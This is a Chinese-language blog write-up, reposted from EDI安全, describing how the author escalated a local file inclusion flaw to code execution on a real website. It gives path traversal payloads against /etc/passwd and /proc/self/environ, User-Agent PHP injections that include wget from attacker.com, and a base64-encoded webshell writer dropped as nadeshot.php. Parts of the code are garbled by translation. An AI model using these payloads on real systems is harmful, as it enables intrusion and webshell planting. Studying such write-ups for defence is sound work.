在拥有20000+用户的网站中利用LFI到RCE

华盟原创文章投稿奖励计划

最近,我发现了一个有趣的攻击媒介。

访问网站(端口443),我们看到以下页面:

在拥有20000+用户的网站中利用LFI到RCE

01查找LFI漏洞

让我们浏览网站,看看是否可以找到一些有趣的功能点。单击“联系我们”会跳转到一个有趣的URL:

https://www.website.com/index.php?pg=contact.php

在拥有20000+用户的网站中利用LFI到RCE

开始利用pg参数,发现使用以下payload可以执行LFI:

https://www.website.com/index.php?pg=../../../../etc/passwd

在拥有20000+用户的网站中利用LFI到RCE

到目前为止,我们已经有了LFI,让我们尝试增加影响。

02从LFI到RCE

使用所有可能的已知技术将LFI漏洞升级为RCE,我发现/ proc / self / environ对我们而言是可读的。因此,输入以下代码会泄漏信息:

https://www.website.com/index.php?pg=../../../../proc/self/environ

在拥有20000+用户的网站中利用LFI到RCE

分析输出,我们可以看到/ proc / self / environ下的文件包含几个环境变量,例如HTTP_USER_AGENT。

在拥有20000+用户的网站中利用LFI到RCE

让我们启动Burp Suite,并通过更改用户代理值发送请求。我尝试将以下值添加到User-Agent:

尝试使用system(),但没有RCE:

用户代理:<?system('wget http://attacker.com/shell.txt -O shell.php');?>

尝试了exec(),但没有RCE:

用户代理:<?exec('wget http://attacker.com/shell.txt -O shell.php');?>

尝试了phpinit(),但失败了:

用户代理:<?php phpinfo(); ?>

这是我花了很多时间的地方,但我忘记了可以在服务器内部写入文件,因此尝试了以下payload。

让我们创建一个将在用户代理 HTTP标头中使用的payload:

用户代理:

<?的PHP $ A = BASE64_DECODE( 'PD9waHAgCiAgJGEgPSAkX1BPU1RbJ2NvZGUnXTsKICAkZmlsZSA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwndycpOwogIEBmd3JpdGUoJGZpbGUsJGEpOwogIEBmY2xvc2UoJGZpbGUpOwo/Pgo8Y2VudGVyPgogIDxmb3JtIG1ldGhvZD0icG9zdCIgaWQ9ImZvcm0iPgogICAgPGgyPkZpbGUgV3JpdGVyPC9oMj4KICAgIEZpbGUgTmFtZTxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9InNoZWxsLnBocCIPGJyPgogICAgU2hlbGwgQ29kZTxicj48dGV4dGFyZWEgbmFtZT0iY29kZSIgZm9ybT0iZm9ybSIgcGxhY2Vob2xkZXI9IlBhc3RlIHlvdXIgc2hlbGwgaGVyZSI+PC90ZXh0YXJlYT48YnI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iV3JpdGUiPgogIDwvZm9ybT4KPC9jZW50ZXI + CG =='); $ file = fopen('nadeshot.php','w'); 回声fwrite($ file,$ a); fclose($ file); ?>

03解释使用的payload

该webshell在base64中编码,并存储在a变量中。原始的websheLL php代码来自:https://github.com/alita-ido/PHP-File-Writer/blob/master/lfi-writer.php$a=base64_decode('webshell_base64_encoded_code_here');

之后,我们把一个名为nadeshot.php的文件写入服务器。

$ file = fopen('nadeshot.php','w');

然后,服务器将代码(解码为base64)写入nadeshot.php

echo fwrite($ file,$ a);

服务器将保存文件:

fclose($ file);

因此,让我们尝试在Burp Suite中执行整个payload,然后看看会发生什么。

在拥有20000+用户的网站中利用LFI到RCE

收到 200(OK),。我们希望payload按计划执行,因此,请转到以下网址检查其是否成功执行:https://website.com/nadeshot.php

在拥有20000+用户的网站中利用LFI到RCE

我们的webshell已上传到/nadeshot.php中。现在让我们编写一个简单的.txt文件(尽量不损害网站),看看它是否有效。

在拥有20000+用户的网站中利用LFI到RCE

我将创建一个名为nadeshot.txt的文本文件,然后单击“write”。

进入https://website.com/nadeshot.txt将显示我们的文本文件。成功地从LFI到RCE.

在拥有20000+用户的网站中利用LFI到RCE

本文来源 EDI安全,经授权后由congtou发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论